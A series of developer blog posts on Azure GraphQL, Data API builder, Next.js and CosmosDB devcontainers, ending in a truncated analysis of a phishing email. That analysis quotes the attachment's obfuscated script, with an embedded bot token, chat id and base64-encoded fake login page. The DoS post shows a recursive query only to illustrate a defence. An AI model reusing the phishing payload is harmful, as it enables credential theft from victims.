
const getQuestionsDocument = graphql(/* GraphQL */ `
  query getQuestions {
    questions(first: 10) {
      items {
        id
        question
        correct_answer
        incorrect_answers
      }
    }
  }
`);

This might error at the moment as the graphql function doesn't exist, which is to be expected as we haven't generated it yet via the GraphQL Code Generator. Let's do that now:

npm run codegen

This assumes that the codegen script is in the package.json file, if not, you'll need to run npx graphql-codegen instead.

With the error sorted, let's continue with the hook. Initially we've defined the GraphQL query in the getQuestionsDocument variable, and then we've used the graphql function create a TypedDocumentNode which is the type that Apollo Client expects. Next, we'll use the useQuery hook to execute the query, and then we'll return the data from the query:

export const useQuestions = () => {
  const { data, loading } = useQuery(getQuestionsDocument);
};

Admittedly, we could just return the data.questions.items from the hook, but I don't want to do that because the data structure contains two fields I'd prefer to merge, correct_answer and incorrect_answers, so that we can shuffle the answers in a random way and then have the application only know about all the answers as a single array. To do this, we'll use the useEffect hook to merge the data, and then we'll return the merged data:

export type QuestionModel = Omit<
  GetQuestionsQuery["questions"]["items"][0],
  "incorrect_answers"
> & {
  answers: string[];
};

export const useQuestions = () => {
  const { data, loading } = useQuery(getQuestionsDocument);
  const [questions, setQuestions] = useState<QuestionModel[] | undefined>(
    undefined
  );

  useEffect(() => {
    if (data) {
      setQuestions(
        data?.questions.items.map((question) => ({
          id: question.id,
          question: question.question,
          correct_answer: question.correct_answer,
          answers: arrayRandomizer(
            question.incorrect_answers.concat(question.correct_answer)
          ),
        }))
      );
    }
  }, [data]);

  return { questions, loading };
};

Since the questions that we return will have some of the same fields as the object returned from the original GraphQL query, we may as well use the Omit type to remove the incorrect_answers field from the QuestionModel type. We can then add the answers field to the type, which is an array of strings that contains the correct_answer and the incorrect_answers shuffled in a random order.

Now all that's left is to add the Apollo Client provider to our React application:

import { ApolloClient, ApolloProvider, InMemoryCache } from "@apollo/client";
import React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import "./index.css";

const client = new ApolloClient({
  uri: `/data-api/graphql/`,
  cache: new InMemoryCache(),
});

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  <React.StrictMode>
    <ApolloProvider client={client}>
      <App />
    </ApolloProvider>
  </React.StrictMode>
);

And then use the hook in the App component (I’ll omit that for brevity, you can check it out in the GitHub repo). But with it all configured, here’s how it looks:

Conclusion

In this post we’ve taken a look at how we can use the new Database Connections feature of Azure Static Web Apps to connect to a Cosmos DB database and expose it as a GraphQL endpoint, without having to write the server ourself. We’ve also seen that this can be done entirely via the local emulator for SWA, allowing us to rapidly iterate over the application without having to deploy it each time.

While we didn’t go through the deployment aspect in this post specifically, you can learn how to do that through our docs.

GraphQL on Azure: Part 12 - GraphQL as a Service

Aaron Powell — Wed, 15 Mar 2023 16:00:47 +0000

I’m really excited because today we launched the first public preview of Data API builder for Azure Databases or DAB for short (the official name is a bit of a mouthful 😅).

The important links you’ll need are:

What is DAB

DAB is a joint effort from the Azure SQL, PostgreSQL, MySQL and Cosmos DB teams to provide a simple and easy way to create REST and GraphQL endpoints from your existing database. Now obviously this is something that you’ve always been able to do, but the difference is that DAB does it for you (after all, that’s the point of this series 😜) so rather than having to write an ASP.NET application, data layer, authentication and authorisation, and so on, DAB will do all of that for you. Essentially, DAB is a Backend as a Service (BaaS) and this makes it easier to create an application over a database by removing the need to create the backend yourself.

Quick note: DAB doesn’t support REST for Cosmos DB as Cosmos DB already has a REST API.

How does DAB work

DAB is going to need a data schema that describes the entities you want to expose. In the case of a SQL backend, DAB will inspect the database schema and allow you to expose the tables, views and stored procedures as endpoints. With a NoSQL backend (currently Cosmos DB NoSQL) you need to provide a set of GraphQL types which define the entities you want expose, since there’s no database schema to work from.

You’ll also provide DAB with a config file which acts as a mapping between the data schema and how you want those entities exposed. In the config file you’ll define entities you want to expose (so you can pick and choose what you want to expose from the available schema), access control and entity relationships. If you’re working with a SQL database and have views or stored procedures, you can define how they will be exposed.

With this information DAB will then generate the appropriate REST endpoints for each entity with REST semantics on how CRUD should work, as well as a full GraphQL schema, including queries for individual items, paginated lists (with filtering) and mutations (create, update and delete).

Your first DAB instance

Sounds cool doesn’t it? Well, let’s go ahead and make a DAB server. The first thing we’ll need to do is install the DAB CLI:

dotnet tool install --global Microsoft.DataApiBuilder

The CLI is used to help us generate our config file, but also to run a local version of DAB. I’m going to use DAB with a Cosmos DB backend, just to show you how to go about creating a data schema for Cosmos, so you’ll either need a local emulator or deployed Cosmos DB instance (I like to use the cross-platform emulator in a devcontainer).

Let’s start by initialising the config file:

dab init --config dab-config.json --database-type cosmosdb_nosql --connection-string "..." --host-mode Development --cors-origin "http://localhost:3000" --cosmosdb_nosql-database trivia --graphql-schema schema.graphql

This will generate you a config file like so:

{
  "$schema": "https://dataapibuilder.azureedge.net/schemas/v0.5.34/dab.draft.schema.json",
  "data-source": {
    "database-type": "cosmosdb_nosql",
    "options": {
      "database": "Trivia",
      "schema": "schema.graphql"
    },
    "connection-string": "..."
  },
  "runtime": {
    "graphql": {
      "allow-introspection": true,
      "enabled": true,
      "path": "/graphql"
    },
    "host": {
      "mode": "development",
      "cors": {
        "origins": ["http://localhost:3000"],
        "allow-credentials": false
      },
      "authentication": {
        "provider": "StaticWebApps"
      }
    }
  },
  "entities": {}
}

Since this is Cosmos DB and we don't have a database schema we can work with, we're going to need to create some types in GraphQL for DAB to use:

type Question @model {
  id: String!
  question: String!
  correct_answer: String!
  incorrect_answers: [String!]!
}

This looks pretty standard as far as a GraphQL type is concerned, with the exception of a @model directive that's been applied to the type. This directive is required to tell DAB that this is a type that we want to generate a full schema for (queries and mutations), and not a type that is a child of another type (in the case of a nested JavaScript object).

With our schema defined, we have to tell DAB how to retrieve documents from Cosmos that match that type, and that's what the entities field in the config file is for. Let's use the CLI to define a new entity:

dab add Question --source questions --permissions "anonymous:*"

This command is defining a new entity called Question, specifying that the collection (source) in Cosmos DB is questions and that we want to allow anonymous access to all operations on this entity. I'm being pretty lazy on the security, but if you want to do it properly you can define different roles and the access they have (create, read, update or delete) to the entity.

With this added our config file now looks like this:

{
  "$schema": "https://dataapibuilder.azureedge.net/schemas/v0.5.34/dab.draft.schema.json",
  "data-source": {
    "database-type": "cosmosdb_nosql",
    "options": {
      "database": "Trivia",
      "schema": "schema.graphql"
    },
    "connection-string": "..."
  },
  "runtime": {
    "graphql": {
      "allow-introspection": true,
      "enabled": true,
      "path": "/graphql"
    },
    "host": {
      "mode": "development",
      "cors": {
        "origins": ["http://localhost:3000"],
        "allow-credentials": false
      },
      "authentication": {
        "provider": "StaticWebApps"
      }
    }
  },
  "entities": {
    "Question": {
      "source": "questions",
      "permissions": [
        {
          "role": "*",
          "actions": ["*"]
        }
      ]
    }
  }
}

With the config file complete we can now the server:

dab start

Now we can load up the GraphQL endpoint, https://localhost:5001/graphql, in your preferred GraphQL IDE (I like to use Banana Cake Pop):

You’ll then see the whole GraphQL schema that was generated from the config file and GraphQL types provided:

It’s really cool, we have queries just magically generated for us!

type Query {
  """
  Get a list of all the Question items from the database
  """
  questions(
    """
    The number of items to return from the page start point
    """
    first: Int

    """
    A pagination token from a previous query to continue through a paginated list
    """
    after: String

    """
    Filter options for query
    """
    filter: QuestionFilterInput

    """
    Ordering options for query
    """
    orderBy: QuestionOrderByInput
  ): QuestionConnection!

  """
  Get a Question from the database by its ID/primary key
  """
  question_by_pk(id: ID, _partitionKeyValue: String): Question
}

This means we could write a query like this:

query {
  questions {
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

And when executed it’ll return all the documents:

You can even write complex filter queries that take a subset of the results:

query {
  questions(filter: { question: { contains: "What" } }, first: 10) {
    endCursor
    hasNextPage
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

Which will then give us an output such as:

{
  "data": {
    "questions": {
      "endCursor": "W3sidG9rZW4iOiIrUklEOn41anNMQU83WXk4TVhBQUFBQUFBQUFBPT0jUlQ6MSNUUkM6MTAjSVNWOjIjSUVPOjY1NTUxI1FDRjo4I0ZQQzpBZ0VBQUFBT0FCWUFnS0lBb05pUk5nUUxJQXdBIiwicmFuZ2UiOnsibWluIjoiIiwibWF4IjoiRkYifX1d",
      "hasNextPage": true,
      "items": [...]
    }
  }
}

The endCursor is a token that can be used to get the next page of results, using the after input field, and the hasNextPage flag tells us if there are any more pages to get.

Conclusion

In this post we’ve looked at how to use GraphQL as a service on Azure, using the Data API builder project. It’s a really cool project that allows you to quickly get up and running with a GraphQL API (or REST if that’s your preference, but this series is GraphQL on Azure, not REST on Azure 😝).

With a few commands we can scaffold up DAB, define what the data schema we want to export looks like, connect to an existing database and then start serving up data.

Go check out the official announcement, and the GitHub repo, the docs and the samples and give it a try!

Extending Next.js Support in Azure Static Web Apps

Aaron Powell — Mon, 10 Oct 2022 06:40:28 +0000

Next.js is one of the most popular JavaScript frameworks for building complex, server-driven React applications, combining the features that make React a useful UI library with server-side rendering, built-in API support and SEO optimizations.

With today’s preview release, we’re improving support for Next.js on Azure Static Web Apps.

What’s new

In this preview we’re focusing on making zero-config deployments with Next.js even easier than it’s been before by including support for Server-Side Rendering and Incremental Static Regeneration (SSR and ISR respectively), API Routes, advanced image compression, and Next.js Auth. In this post, we want to highlight three features that make building Next.js apps on Azure more powerful.

Server-Side Rendering

When we first launched Static Web Apps, we ensured we had support for Next.js, but our focus on this was Static-Site Generation or SSG. SSG takes the application and compiles static HTML from it that is then served and while SSG is useful in some scenarios it doesn’t support dynamic updates to the content of the page per request.

This is where Server-Side Rendering, or SSR, comes in. With SSR you can inject data from a backend data source before the HTML is sent to the client, aka in the pre-rendering phase, allowing for more contextual, real-time updates to the data. Check out Next.js’s docs for more on SSR.

For this demo we’ll add a getServerSideProps function to our index.js file that has the current timestamp:

export async function getServerSideProps() {
  const data = JSON.stringify({ time: new Date() });
  return { props: { data } };
}

We can then consume this in the component:

export default function Home({ data }) {
  const serverData = JSON.parse(data);
  // snip

And then output the date timestamp.

API routes

API routes allow us to build a backend API for the client-side components of our Next.js app to communicate with and get data from other systems. These are added to a project by creating an api folder within our Next.js app and defining JavaScript (or TypeScript) files with exported functions that Next.js will turn into APIs that can be called to return JSON to the client.

API routes can be as simple as masking an external service, or as complex as hosting a GraphQL server, which we’re doing in the example below.

Here you’ll see that we called the API route, /graphql, and got back a GraphQL payload response. You’ll find this sample on GitHub.

Image optimisation

When it comes to ensuring your website is optimized for all web clients, Web Vitals is a valuable measure. To help with this Next.js has an Image component and image optimisation. This feature of Next.js also makes it easier to create responsive images on your website and optimise the image being sent to the browser based off the dimensions of the view port and whether the image is currently visible or not.

You can see this in action where we have deployed the Next.js image example.

Deploying with the new Next.js support

When it comes to deploying an application to leverage these Next.js features, you need to select Next.js from the Build Presets and leave the rest of the options as their default, as SSR Next.js applications are the default for Static Web Apps. If you wish to use Next.js as a Static Site Generator, you’ll need to add the environment variable is_static_export to your deployment pipeline and set it to true and the output location set to out.

Common Questions

Can I still use SSG?

Yes! Static rendered Next.js applications are still supported on Static Web Apps, and we encourage you to keep using them if they are the right model for your applications.

Existing Next.js SSG sites should be unaffected by the launch today, although it is encouraged that you add the is_static_export environment flag to your deployment pipeline, ensuring that Static Web Apps correctly identifies the SSG.

Should I use SSR over SSG?

This is very much an it depends answer. The support announced today for SSR is preview support, meaning that it is not recommended for production workloads, for production we still encourage people to using SSG as their preferred model when working with Next.js. Additionally, echoing the recommendations from Next.js themselves, that SSG should be the preferred model when publishing sites.

SSG sites have a performance benefit over SSR, as the HTML files are created at build time rather than runtime, meaning there is less work for the server to do when producing content, thus increasing performance.

But if you’re looking to use features like dynamic routing, have a very large site that have hundreds (or thousands) of pages, or want to fetch data before sending to the client, SSR will be a better fit for you and worth exploring.

If you’re still unsure which approach to use, check out this excellent guide from Next.js themselves.

Can I use Azure Functions or BYO Backends as well as API routes?

No, if you’re deploying a hybrid Next.js application then no additional backend will be available for the site as API routes can be used to achieve much of the same functionality.

Next steps

This is all exciting and if you’re like me and can’t wait to try out the new features, check out the sample repo from this post then head on over to our documentation and get started with your next Next.js application today.

GraphQL on Azure: Part 11 - Avoiding DoS Queries

Aaron Powell — Mon, 10 Oct 2022 00:42:25 +0000

In the previous post in this series, we added a new “virtual” field to our GraphQL schema for Post, related:

type Post {
  id: ID!
  title: String!
  url: Url!
  date: Date
  tags: [String!]!
  description: String
  content: String!
  related(tag: String): [Post!]
}

But in doing so, we added a problem, let’s take this query as an example:

query {
  posts {
    related {
      related {
        related {
          related {
            related {
              related {
                related {
                  related {
                    title
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Oh dear… What’s going to happen here? Exactly what you think, a series of recursive queries against my API and I’ve just created a Denial of Service, DoS, attack vector against my server (it’s not a DDoS attack since it’s not distributed).

But this is perfectly valid from a GraphQL standpoint, it’s just walking the graph which we told it to expose, but I didn’t want it to bring down my server! And while this is a single type GraphQL schema, it would be realistic that in a more complex schema that you’ll have types that can recurse through other types back to the original.

Azure API Management GraphQL policies

Good news, we can solve this ourselves by leveraging APIM policies, this time we’ll use the <validate-graphql-request> policy.

This policy is an inbound policy, which means that it’ll be applied before the request is passed to our backend, or in this case, the GraphQL resolver policies, allowing us to intercept and, well, validate it against rules we predefined.

We’re going to focus on the two top-level attributes of the policy, max-size and max-depth.

The max-size policy is used to enforce an inbound request size limit, say, reject any requested over 100kb, so that you are limiting the amount of data that can be retried in a single request as an excessive query size may result in an excessive database operation being performed.

We’ll add this to the <inbound> section of our APIM policy:

<policies>
    <inbound>
        <base />
        <validate-graphql-request error-variable-name="size" max-size="10240" />
    </inbound>
    <!-- snip -->
</policies>

This is a useful policy to have in place, especially if you have a large GraphQL schema that exposes a lot of different types and fields, but it’s not really going to solve our problem, it’ll take quite a lot of nesting to hit the size cap. Instead, we want to use the max-depth part of the policy.

With max-depth, we can specify how many levels of nesting a request is allowed to do before we reject the query, let’s update the policy:

<policies>
    <inbound>
        <base />
        <validate-graphql-request error-variable-name="size" max-size="10240" max-depth="3" />
    </inbound>
    <!-- snip -->
</policies>

One thing to be aware of with max-depth is that it uses a 1-based index, starting with the GraphQL operation type (query or mutation), meaning that a depth of three would allow this:

query {
  postsByTag(tag: "graphql") {
    title
    related {
      title
    }
  }
}

But this query is invalid:

query {
  postsByTag(tag: "graphql") {
    title
    related {
      title
      related {
        title
      }
    }
  }
}

And if you execute the query above it’ll give you a 400 Bad Request status, with the following body:

{
  "statusCode": 400,
  "message": "The query is too nested to execute, its depth is more than 3 "
}

Success! We’ve created a block at the gateway level, meaning that we won’t even worry about the downstream servers being hit by rogue queries.

Conclusion

One of the easy to overlook aspects of GraphQL is that you’re working with a graph and you can make recursive references in the graph that can be walked, and exploited, resulting in a DoS attack vector against your backend.

But it’s something that we can easily handle with the GraphQL policies in Azure API Management.

Using the max-depth part of the <validate-graphql-request> policy will allow us to prevent excessive nesting in the operation performed by a client, and we can combine that with the max-size attribute to avoid large, flat requests.

There are other rules that we can set on the policy, such as restricting access to certain resolver fields or paths, but I’ll leave that as an exercise to the reader. 😉

Improved Local Dev With CosmosDB and devcontainers

Aaron Powell — Wed, 24 Aug 2022 00:22:27 +0000

Last year I wrote a post on using the CosmosDB Docker-based emulator with devcontainers and since then I’ve used that pattern many times to build applications, but there was one thing that kept bothering me, having to disable SSL for Node.js.

Sure, disabling SSL with NODE_TLS_REJECT_UNAUTHORIZED wasn’t a huge pain, but it did feel like a dirty little workaround, it also hit a snag - dotnet projects.

I had the idea that I should add the CosmosDB emulator to the devcontainer used by FSharp.CosmosDb, as I kept deleting the Azure resource that I used between when I was working on it. But when I’d set the account host to https://cosmos:8081 for the connection string, it’d fail to do queries as the self-signed certificate was rejected.

I guess it’s time to install the certificate.

The emulator provides the certificate at a well-known endpoint, which you can get using cURL:

curl -k https://$ipaddr:8081/_explorer/emulator.pem > emulatorcert.crt

But when should we run that, and what’s the IP of the Cosmos emulator container?

Installing the certificate

Because we need to wait until the containers have started, we’ll use the postCreateCommand in the devcontainer.json file, and we’ll have it call a bash script. Here’s the bash script:

#!/usr/bin/env bash

set -euxo pipefail

ipAddress=https://$(docker inspect cosmos -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'):8081

# Try to get the emulator cert in a loop
until sudo curl -ksf "${ipAddress}/_explorer/emulator.pem" -o '/usr/local/share/ca-certificates/emulator.crt'; do
  echo "Downloading cert from $ipAddress"
  sleep 1
done

sudo update-ca-certificates

To get the IP of the emulator, we’ll use docker inspect and in the docker-compose I set a name for the container, cosmos, so that it’s a well-known name (we could make an assumption of the name, based off the way compose names containers, but this is safest), and we provide a template to grab the IP from the JSON response - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}. This is combined with the protocol/port information to make a variable for the IP address to then download and install the certificate as described here.

Setting the connection info

With the certificate installed, it might be convenient to set the connection string information so that it can be used. Initially, I thought to use environment variables (since we have the IP as a bash variable) and load them with the Microsoft.Extensions.Configuration.EnvironmentVariables NuGet package, so we can add a export ipAddress to the end of the bash script (or maybe make the variable something easier to parse into the dotnet config system), but it turns out that you can’t export variables from postCreateCommands (see this issue).

Since that was off the table, an alternative solution would be to dump the info out as a file on disk. Here’s the dotnet approach for my project, you just have to adapt the file (and its contents) for your project needs:

if [! -f ./samples/FSharp.CosmosDb.Samples/appsettings.Development.json]
then
  echo '{ "Cosmos": { "EndPoint" : "'$ipAddress'" } }' >> ./samples/FSharp.CosmosDb.Samples/appsettings.Development.json
fi

Note: I have the Access Key for cosmos in the docker-compose file, but you could also dump it out here if you prefer.

And with that, when the container starts, the connection to Cosmos is ready for your application to use.

Summary

In this post we’ve seen how we can run the Docker CosmosDB emulator side-by-side with our app container using a VS Code devcontainer. The full definitions that I published for my project can be found here.

Now that I’ve figured out how to do this, I’m going to be going back and retrofitting some other repos so that I don’t have to disable SSL validation for Node.js apps, making it more secure to run them locally.

Addendum

After writing this post and going back to some JavaScript/Node.js projects, I found that they were still failing with an invalid certificate and it turns out that if I'd read the docs fully I'd have know this. It seems that while dotnet applications running on Linux respect the certificate store, Node.js apps don't, so you need to explicitly add the certificate using the NODE_EXTRA_CA_CERTS environment variable, so I've added "NODE_EXTRA_CA_CERTS": "/usr/local/share/ca-certificates/emulator.crt" to the remoteEnv section of the devcontainer.json file... sigh.

More Phishing Attempts

Aaron Powell — Tue, 23 Aug 2022 00:31:33 +0000

Well, that was quick, less than a week since my last one and here we go again.

For transparency, this one did actually land in my junk mail, so I wouldn’t have seen it if I hadn’t been looking for an email that I should’ve received (totally unrelated to getting phished though 🤣), but since I did see it, it’s time to dig into it again!

The premise of this one is the same as the last one, although the email was much more brief, only containing my email address in the body and the HTML file attachment.

Speaking of the HTML, it was a bit different this time:

<script>var e\u006dail="<yes, my email was here>";var tok\u0065\u006e='5\x374\062\u0038\0607394\u003a\u0041AEY\171\x56gRLp3\132YYweU\161\144cbUdsGWj\163\x6e-\x53k\063w\u0030';var c\u0068a\u0074\u005fid=5486255038;var d\u0061ta=ato\u0062("PC\x46\105T0\x4eUWV\102\106IGh0bWw+Cjxod\x471sIGRp\143\x6a0ibHRyIiBjbGFzc\x7a0iI\x69B\x73\131W\x35nPSJlb\u0069I\053CiAg\111C\x41\x38a\107VhZD4KIC\x41g\u0049DxtZXRh\111Gh\x30dHAt\132XF1aXY9I\153NvbnR\x6cbnQtVHlw\132\123Ig\u005929udGVudD0i\144G\x564\u0064C9od\x47\u0031sOy\u0042\152aG\106y\x632V0PVVURi04I\x6a4\x4bICAgID\u0078\x30a\u0058RsZ\x545\124\141Wdu\111Gl\x75\u0049HR\166\x49H\154v\144XI\x67YWNj\1423Vu\x64DwvdG\u006c0bGU+C\x69\x41gICA8bWV0YSB\x6fd\x48Rw\114\127\126\170dWl2PS\x4a\u0059\114VVBL\x55N\166\x62X\x42hdG\x6c\151bGUiIGNvb\x6e\122\u006c\u0062nQ9I\x6b\154FPW\x56\x6bZ2U\151Pg\157gICAg\120G1ldG\x45\147\u0062m\u0046\x74\x5aT\u0030idmlld3B\u0076cn\u0051iIG\u004ev\x62n\x52\x6cbnQ9\x49n\144\160ZHRo\u0050WR\154\x64\x6d\154jZS13aW\122\x30aC\167gaW\x35p\144\x47lhbC1z\x592FsZT0x\x4cj\x41s\x49G\u0031\150eG\u006ct\144W0\x74c2NhbGU9M\1514\167\u004cCB1\x632VyLXN\u006aYW\170\u0068Y\155x\154PXllcy\111\x2bCi\x41gICA\u0038c\u0032Ny\x61X\u00420IHNyY\u007a\u0030\151a\110\x520cHM6Ly9ha\x6d\1064Lm\144vb\u0032d\163ZW\106wa\130M\165Y29tL2FqYX\u0067vbG\154icy9qcX\u0056\154\143n\u006bv\115y40\114j\x45vanF1\x5a\x58J\u0035Lm\061\160b\u00695\x71\x63\u0079I\u002bPC\071zY3J\x70cHQ+\u0043iA\x67\111C\x418bG\x6cuayByZWw\u0039\111\x6e\u004eob\063J\060Y\063V0IGlj\1422\x34i\111Ghy\132WY9Imh0\144HBzOi\u0038vY\x57F\153\x59\u0032Ru\114m1\u007aZn\x52h\144\130R\157L\1555l\u0064C\x39z\141GFyZW\121v\u004dS4\u0077\x4c2Nvb\x6eR\154bnQva\x57\061\x68Z\062VzL\x32Zh\x64ml\u006a\u00622\065fYV9l\x64XBh\u0065WZnZ2hx\141\x57FpN\062s5c29\x73\116\155\170\x6e\u004di5\x70Y\062\070\151\120iA\x67\u0049C\x41KIC\x41\147\111D\170saW5\x72I\x47\122hdG\105tbG\071hZ\u0047\u0056yPSJj\132\1074iIGNyb3Nzb3J\160Z2l\165PS\112hbm9u\u0065W1vdXMiIGh\u0079\x5a\x57Y9Imh\x30\144HBz\117i8vYW\x46\153Y\062R\165Lm1zZn\x52h\x64XRoL\u006d5ld\x43\x39l\x633R\172\114\x7a\111\x75\x4dS9jb\062\x350\132W50L2NkbmJ1b\x6d\122\163ZXM\166Y29\165\144m\x56yZ2Vk\x4c\156\u0059yLm\170vZ\062\154u\114\u006d1pb\x6c\0716a\u0058\154\u0030\132j\u0068kenQ5ZWcxczYtb\u0032hobGV\156M\x695jc3M\x69IH\x4albD\060ic3R5bGVza\107Vld\103\111+CiAg\x49C\u00418\x63\062\u004eya\130\x420Pg\u006fg\x49C\101gICAg\x49CQ\157ZG\071\x6a\u0064\1271l\x62\156Qp\x4c\x6eJl\x59\127R5\u004bG\1321bm\1160\x61\x579\165KC\x6bgeyQ\157\u0049iNkaXNwb\x47F5Tm\106tZ\123IpLmVt\143\u0048\1225\113CkuY\130Bw\132\1275\u006bK\x47VtYW\u006c\163\113TsgJ\1035nZX\x52\x4bU\0609OKCJodHRwcz\x6f\x76L2\u0046\167a\u00535pcG\x6cm\x65S5v\x63mc\x2f\132m9yb\127\u00460PWp\u007ab\0624\x69L\x43Bm\x64W5jdGlv\142ihkYXRhK\x53\102\067JCg\u0069\111\062\x64m\u005ayIp\x4cmh0bWwo\x5aGF0YS5\160cCk7fSl\071\x4b\124s\x4bIC\101\x67\111Dw\166\u00632\116\171aX\1020\x50go8L2\150\x6cY\127Q+\103jxib2R5IGN\x73YXNz\120SJ\x6aYiIgc3R\065bGU9I\x6d\122pc3B\163YX\1536IGJ\x73b2Nr\x4f\171\x49+Cjx\x77IGlkPS\u004an\132m\u0063iIHN0e\127x\u006cPSJ\153\x61\x58\116w\x62\x47\x465O\151Bu\x62\0625\x6cOy\x49\x2bPC9\167\120go8Zm9y\142S\102uYW1\154P\123JmM\123Iga\127Q9\u0049m\x6bw\u004djgx\x49\151Bub3Z\x68bG\x6ckY\x58Rl\120\x53Jub3\x5ah\u0062G\154kYXRlI\x69\x42zc\x47\126\x73bGNoZ\127NrP\u0053\x4a\155YWx\x7a\132SI\x67\142WV0aG\071kPS\u004awb3N0I\x69\u0042\060Y\130J\u006eZ\x58Q9\111l9\060b3AiIG\106\061\u0064G\u0039jb21\167\u0062GV0\u005a\x54\u0030ib\x32ZmI\151BhY\063\122pb24\x39IiI+CiAgIC\x41\070\132Gl\x32IG\u004esYX\116z\120SJsb\x32\144\x70bi1\167YWd\u0070bmF\060ZWQtc\x47FnZ\123I+\x43i\101\147ICAgICAg\u0050\107R\u0070d\151\x42pZD0ib\107l\u006eaH\x52ib3\150UZW1wbGF\060Z\125NvbnR\u0068\141\1275lc\u0069I\x2b\x43jxkaXY\147aWQ9\x49mxpZ\x32\u00680\x59m\x39\064QmFj\141\062\144y\u00623V\x75Z\u0045\116v\x62nRhaW5\u006cci\x49+C\u0069AgICA8ZGl2I\107NsYX\116z\120SJiYWNrZ3JvdW\x35kLWltYWd\154\114W\x68\x76b\107R\u006c\x63i\x49gcm9\163Z\x540icHJ\154c\x32VudGF0aW9uI\x6a4KICA\x67ID\x78\x6ba\x58YgY2\x78h\x633\x4d\071\u0049m\112\150Y2\164ncm\x391b\x6dQt\x61W1hZ2U\x67ZX\1500LW\112\x68\x592tn\143\15591bmQ\164aW1\x68\x5a2UiIH\1160eWx\154\x50\123JiYWN\x72Z3\112vd\1275kLWltY\u0057dl\117\151\x42\u0031\x63\x6dw\x6fJnF1\u0062\x33Q\x37aHR0cH\115\066L\x799h\x59\x57\x52\x6aZG4ubX\116mdGF1dG\x67u\x62mV\060L3\116oYXJl\132\103\x38x\x4c\x6aAv\x5929u\144G\u0056\165\u0064C\x39pbWFnZ\130\u004dvYmFj\x612d\171b3VuZHMvM\1549i\u0059zN\u006b\115z\112hN\152k\062O\u0044k\u0031\x5a\152c\x34YzE\u0035\132G\1312Y\172\143\u0078NzU\064NmE1ZC\x35zdmcmcXVv\u0064\u0044s\160OyI\053PC\x39kaX\131+Cjwv\x5aGl2Pjwv\132Gl2P\x67o\x38\u005aGl\x32\x49GNsYX\x4ezPSJv\x64X\122lc\151I\x2bC\151AgI\u0043A8\x5aG\154\u0032IGN\x73YXN\x7a\120\123J0ZW1w\x62\107F0\132S1zZ\127N\060aW\x39uI\x471haW4\164c2\x56\152\144Glvb\151I\u002b\x43iAg\111C\u0041\147IC\x41\x67\u0050\x47Rp\u0064iBjb\x47\u0046zcz0\x69bW\u006ck\x5a\x47\x78l\x49G\x564dC\x31t\x61W\122\u006bbGUiP\x67ogICA\u0067\111CAgIC\101gI\103\u00418Z\107l2IGN\u0073\x59\130Nz\120SJmdW\170sLWhlaWd\u006f\144C\x49\u002bCj\170\u006b\x61\x58Y\147Y2xhc3M9I\u006dZ\163Z\130gtY\062\u0039\u0073d\1271\u0075\x49j4\x4bICA\u0067ID\u0078k\x61XYgY2x\u0068\u00633\1159\u0049nd\160bi1zY3Jv\142Gwi\x50gogI\103\x41gICAg\u0049Dx\x6baX\131\147a\u0057Q9Imx\160\x5a2h0Ym94I\151\u0042jbGF\172\143z0\151c2\154nb\x691pb\x691i\u00623\147\x67ZXh0LXN\160Z24ta\127\u0034t\x59m\x394IGZ\u0068ZG\u0055taW4\164\x62G\154\x6ea\u0048Ri\1423gi\120gog\x49\103A\x67IC\101\x67\u0049\104\x78k\141XY+PG\154t\132yBjbG\x46\x7ac\1720ib\u00479\u006eb\171Igcm\u0039\163\u005a\u00540ia\x571\156IiB\x77b\x6d\x64zcm\x4d9I\x6dh0\x64H\u0042\x7a\x4f\1518vYW\x46\x6bY2R\x75Lm\x31\172Z\156RhdX\122\x6f\114m5\u006c\x64C\x39za\107\106yZWQv\x4dS4\x77L\062Nvb\x6e\x52lb\u006e\121\u0076a\x571\150\x5a2V\u007aL2\u0031\x70\131\063\112vc\x329\155dF\071s\142\x32\x64\u0076\x582Vk\x4fWM\x35\132W\u0049\x77ZGNl\115TdkNzU\x79YmVkZWE2YjVhY\062\122hNmQ5\x4cnBu\x5ay\111gc3Znc3J\x6a\x50SJodHR\167\143zo\166L2\x46\x68\u005aGNkbi5\164\x632Z\060\x59XV0aC5u\132\130\x51vc\x32hhcm\126kL\x7aE\165M\x439jb2\x350ZW50\1142lt\131\127\144l\u0063y9t\141\x57N\171\x623NvZ\x6eRfb\u00479\u006e\14219lZ\124\126j\x4f\107Q5\132mI2M\152Q\x34YzkzOGZ\153MGRjMTkz\x4ezBlO\124B\x69ZC5z\x64m\u0063iI\110NyYz0\x69\x61HR0c\u0048M6Ly9hY\127RjZG\x34ubXN\155dGF1\144\x47\x67\x75bm\126\x30L3\116\157Y\130JlZC\u0038\x78LjAv\x5929ud\107\u0056u\144\1039p\x62W\x46nZX\115vbW\154jcm9z\x622Z\x30X2\170vZ29fZWU\061\u0059\172hk\x4fWZiN\u006aI\u0030OGM5MzhmZDBkYzE5Mzcw\132Tkw\131m\121uc\x33ZnIiBh\x62\110\u00519Ik\061pY3Jv\u00632\u0039\x6d\u0064\103I+PC9\x6ba\u0058Y\u002b\x43\x69AgICA\u0067IC\x41g\u0050GRpdiByb2\170\154\120S\x4a\x74Y\127luIj4KPGR\x70\x64\x69BjbGF\172cz0\151Y\u0057\065pb\u0057F\060ZS\102\x7a\142\107\x6ck\132S1pbi1uZXh0\111j\064\u004bICAgIC\x41\x67ICA8ZGl2\111D4KPG\x52pdi\x42\152\142G\106\172c\x7a\x30\x69\u0061WRlbn\x52\160dHl\103\x59\127\065\165Z\130\x49\x69Pgo\x67\x49CAgPGR\u0070di\102p\u005aD\x30iZG\x6cz\x63GxheU\065\x68bW\125iIGNsYXNzPS\112p\132GVu\x64Gl0eSI+\x50C\071kaX\131+\103\152w\x76Z\107l2\120jw\166Z\107l2P\x67\x6fgICA\x67\120C9k\141XY+C\151AgICA\u0038Z\x47l2IGN\u0073YXN\x7aP\u0053Jw\u0059\x57\144\x70\142\x6dF\x30aW9u\u004cXZp\u005aXc\x67\x59W5\u0070bWF0ZSBoYX\u004d\u0074a\x57\122l\142nRpd\x48\x6bt\x59m\x46ubmVy\x49HN\163\141WR\154LWl\x75LW\u0035le\110Qi\x50g\157gICA\x67\u0050GR\u0070\144\u006a4\x4bC\u006a\170k\141XYg\141WQ\u0039ImxvZ2lu\123\107VhZG\x56\